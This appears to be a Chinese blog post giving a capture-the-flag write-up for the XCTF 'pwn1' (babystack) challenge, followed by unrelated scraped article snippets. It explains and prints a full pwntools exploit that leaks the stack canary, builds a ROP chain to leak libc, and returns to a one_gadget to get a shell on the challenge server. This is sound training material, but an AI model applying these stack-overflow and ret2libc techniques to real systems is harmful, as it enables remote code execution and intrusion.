草庐IT

攻防世界 pwn1 题解

C0ngvv 2023-03-28 原文

攻防世界 pwn1 题解

下载附件,file命令识别文件为64位,checksec命令查看程序保护情况,如图,有CanaryNX保护。

ida64中打开程序,程序的主要功能有两个:

  1. 存储用户输入的字符串内容
  2. 打印用户输入的字符串内容

特别的注意到,字符串数组大小为136(0x88),而read运行的最大输入大小为0x100,如图中红色框标注,因此可能存在栈溢出。同时puts可以将输入打出,因此可以想到借此泄露出canary值。

在汇编程序40091C地址处,可以看到canary值保存在rbp上8字节处(即紧邻rbp)。

GCC的canary,x86_64下从fs:0x28偏移处获取,32位下从gs:0x14偏移处获取

解题思路

1.Canary泄露

canary泄露原理:canary最低位设计为\x00,目的为截断字符串。通过缓冲区溢出将canary最低位截断字符\x00覆盖,然后通过puts函数可以将输入的字符串连带剩余的canary数据输出,canary最低字节补\x00即泄露出canary值。

2.栈溢出准备

Canary泄露后就可以进行栈溢出操作。通过one_gadget可以找到execve在动态链接库中的地址。

所以思路是通过puts泄露一个函数(puts)地址,进而找到链接库基址,与上面得到的execve地址相加得到其在程序中的地址。

3.栈溢出构造

得到execve在程序中地址后,就可以构造shellcode,将返回地址替换为execve

'A'*136 + [Canary] + [fake ebp] + [execve addr]

具体实现

1.Canary获取

sh = remote('***.***.***.***',****)
sh.sendlineafter('>> ','1')  # 选择1,存储输入字符串
sh.sendline('A'*0x88)

通过向程序输入0x88字节数据抵达canary上方,最后还有一个字符\n可将canary最低位\x00覆盖,然后使用puts输出。

sh.sendlineafter('>> ','2')  # 选择2,输出字符串
sh.recvuntil('A\n')
canary = u64(sh.recv(7).rjust(8,b'\x00'))  ## 对canary解析

2.获取execve地址

获取canary后可利用puts函数构造栈溢出shellcode泄露出puts函数在程序中的地址。

利用puts函数输出需要设置一个参数,需要pop rdigadget,利用ROPgadget寻找相关gadget

ROPgadget --binary babystack --only "pop|ret" | grep "rdi"

如图,可以看到在地址0x400a93处有我们想要的gadget:pop rdi ; ret

可通过pwntool中的ELF加载程序,获取puts@gotputs@plt地址。

elf = ELF('./babystack')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

我尝试通过symbols获取main函数地址失败了,但从ida中可以得到,如图,main函数地址为0x400908

到此,我们可以构造栈溢出shellcode来泄露puts在程序中的地址了:

'A'*0x88 + [Canary] + 'B'*8 + [pop_rdi_addr] + [puts_got_addr] + [puts_plt_addr] + [main_addr]

具体程序代码如下:

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi = 0x400a93

payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')  # 执行退出操作,从而让程序执行我们的指令
real_puts = u64(sh.recv(6).ljust(8,b'\x00'))  # 解析puts函数地址

题目提供了链接库,获取puts在程序中地址后,可计算出链接库基址,进而获取我们需要的命令execve的地址。

libc = ELF('./libc-2.23.so')
base = real_puts - libc.symbols['puts']
execve = base + 0x45216  # 0x45216为上面通过one_gadget找到的execve地址

3.获取shell

做好所有准备工作后,就可以构造payload进行溢出了。

payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)

所有的代码如下:

from pwn import *

elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi = 0x400a93

sh = remote('61.147.171.105',62498)

# 泄露canary地址
sh.sendlineafter('>> ','1')
sh.sendline(b'A'*0x88)
sh.sendlineafter('>> ','2')
sh.recvuntil('A\n')
canary = u64(sh.recv(7).rjust(8,b'\x00'))
print(hex(canary))

# 泄露puts函数实际地址
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')
real_puts = u64(sh.recv(6).ljust(8,b'\x00'))
print(hex(real_puts))

# 获取execve实际地址
base = real_puts - libc.symbols['puts']
execve = base + 0x45216

# 构造payload溢出获取shell
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')
sh.interactive()

执行完后即可获得shell,获得flag。

有关攻防世界 pwn1 题解的更多相关文章

  1. 世界前沿3D开发引擎HOOPS全面讲解——集3D数据读取、3D图形渲染、3D数据发布于一体的全新3D应用开发工具 - 2

    无论您是想搭建桌面端、WEB端或者移动端APP应用,HOOPSPlatform组件都可以为您提供弹性的3D集成架构,同时,由工业领域3D技术专家组成的HOOPS技术团队也能为您提供技术支持服务。如果您的客户期望有一种在多个平台(桌面/WEB/APP,而且某些客户端是“瘦”客户端)快速、方便地将数据接入到3D应用系统的解决方案,并且当访问数据时,在各个平台上的性能和用户体验保持一致,HOOPSPlatform将帮助您完成。利用HOOPSPlatform,您可以开发在任何环境下的3D基础应用架构。HOOPSPlatform可以帮您打造3D创新型产品,HOOPSSDK包含的技术有:快速且准确的CAD

  2. Unity3D : 本地坐标系,世界坐标系,和TransformPoint,TransformVector,TransformDirection的区别 - 2

    目录一、世界坐标系与本地坐标系二、srcGameObject.transform.TransformPoint(Vector3 vec)三、srcGameObject.transform.TransformVector(Vector3 vec)四、srcGameObject.transform.TransformDirection(Vector3 vec)五:示例一、世界坐标系与本地坐标系    世界坐标很好理解,就是模型的transform.position,通常在无父物体的情况下,创建出来的模型默认位置就是世界坐标系的原点。    每个物体都有自身的坐标系,此坐标系就是本地坐标系。本地坐标

  3. jquery - 世界上最愚蠢的人(我)的 Rails 教程? - 2

    我很难找到符合我要求的Rails教程(或书籍也很棒):愚蠢Ruby1.9或最新的1.8MySQL一个游戏(简单的掷骰子游戏)JQuery前端谢谢! 最佳答案 RailsforDummies如果愚蠢是一个主要问题,这可能是您最好的选择。 关于jquery-世界上最愚蠢的人(我)的Rails教程?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/3841475/

  4. 【算法题解】20. 两数之和 - 2

    这是一道简单题题目来自:https://leetcode.cn/problems/two-sum/题目给定一个整数数组nums和一个整数目标值target,请你在该数组中找出和为目标值target的那两个整数,并返回它们的数组下标。你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。你可以按任意顺序返回答案。提示:22nums.length104−109−109nums[i]109−109−109target109只会存在一个有效答案进阶:你可以想出一个时间复杂度小于O(n2)O(n^2)O(n2)的算法吗?示例1:输入:nums=[2,7,11,15],targe

  5. ruby-on-rails - 真实世界的复杂 Rails 应用程序? - 2

    关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。我们不允许提问寻求书籍、工具、软件库等的推荐。您可以编辑问题,以便用事实和引用来回答。关闭7年前。Improvethisquestion出于self教育的目的,我想研究一个复杂的RubyOnRails(最好是3个)业务应用程序的代码,以便我可以了解如何在现实世界中使用Rails做事.有很多“另一个博客”或“另一个CMS”,但我真的在研究一个具有相当高复杂性(在业务规则方面)的Rails应用程序,但不仅仅是CRUD。像房地产系统这样的东西必须足够复杂。或者可能在政府领域(根据定义总是很复杂:))。谢谢。

  6. ruby - PATH 中的不安全世界可写目录/用户/用户名,运行 Ruby 命令时模式 040777 - 2

    当我运行像gem-v这样的Ruby命令时,我得到了这个错误:/Users/kristoffer/.rvm/rubies/ruby-1.9.2-p180/bin/gem:4:warning:Insecureworldwritabledir/Users/kristofferinPATH,mode0407771.6.2首先我不明白这是什么意思。根据echo$PATH,/Users/kristoffer不在我的路径中。echo$PATH的结果是:/Users/kristoffer/.rvm/gems/ruby-1.9.2-p180/bin:/Users/kristoffer/.rvm/gems

  7. javascript - 真实世界 URL 的 URL 验证正则表达式 - 2

    我想验证给定的字符串是URL。匹配文本中的URL也很好,但不是必需的。我已经搜索并进行了实验,但到目前为止,我还没有找到可以满足这些要求的东西:不得接受在被视为链接时会带来安全风险的字符串。例如,clickme是一个有效的HTML元素,并且至少在某些浏览器中确实有效(引发警报等)。我担心如果我允许任意方案(见下文),它可能会损害安全性(如前所述,例如,此处:WhatisthebestregularexpressiontocheckifastringisavalidURL?)。必须在JavaScript中正常工作。如果它在Java中也能同样工作,那就太好了——我正在GWT中开发,所以这很

  8. javascript - 三.JS,改变子3D对象的世界位置 - 2

    所以基本上我有一个Object3D组的子object3D,而子对象的[x,y,z]坐标是相对于父对象的对象空间显示的,我想在其中更改子对象的位置3D空间。所以首先我得到子对象相对于世界空间的位置。varwrld_pos=childobject.matrixWorld.multiplyVector3(newTHREE.Vector3);这将返回child在世界空间中的位置的三元素向量。现在我想设置我自己的位置。所以我创建了一个三元素向量。varnew_pos=THREE.Vector3();new_pos.x=1;new_pos.y=2;new_pos.z=3;childobject.m

  9. javascript - 标记不会出现在 Leaflet 的连续世界中 - 2

    当我设置选项continuousWorld=true时,标记不会显示在克隆的图block上,只会显示在主世界上。它是设计行为吗?可能是我没有注意到的其他选项来显示这些标记的存在?UPD:我的目标是在每个世界上重复标记,如下图所示。我调查了continuousWorld和worldcopyjump不适合这个。那么是否可以使传单像图片上那样工作? 最佳答案 不幸的是,据我所知,没有自动和开箱即用的解决方案可以复制Leaflet世界相邻副本上的所有内容(标记、矢量等)。Tomislav提出的最简单的技巧是手动生成内容的额外副本,偏移360

  10. javascript - 如何使用 HTML5 Canvas 而不是 Debug Draw 来绘制我的 Box2D 世界? - 2

    我非常了解HTML5Canvas,我了解使用循环等的基础知识和动画。我正在使用的演示:(单击以制作形状)http://henry.brown.name/experiments/box2d/example-canvas.html我不太熟悉的是Box2D。我正在使用Box2DWeb端口,听说它比Box2D-js更新,我不确定哪个最好。我知道如何初始化“世界”并且我可以在世界中放置对象。然后,我使用Step为世界设置动画-但是到目前为止,为了在屏幕上显示它,我只能使用debugdraw来让它工作,因为它基本上会为你做所有事情。我不想使用调试绘图,而是使用Canvas来绘制,例如一辆汽车,而不

随机推荐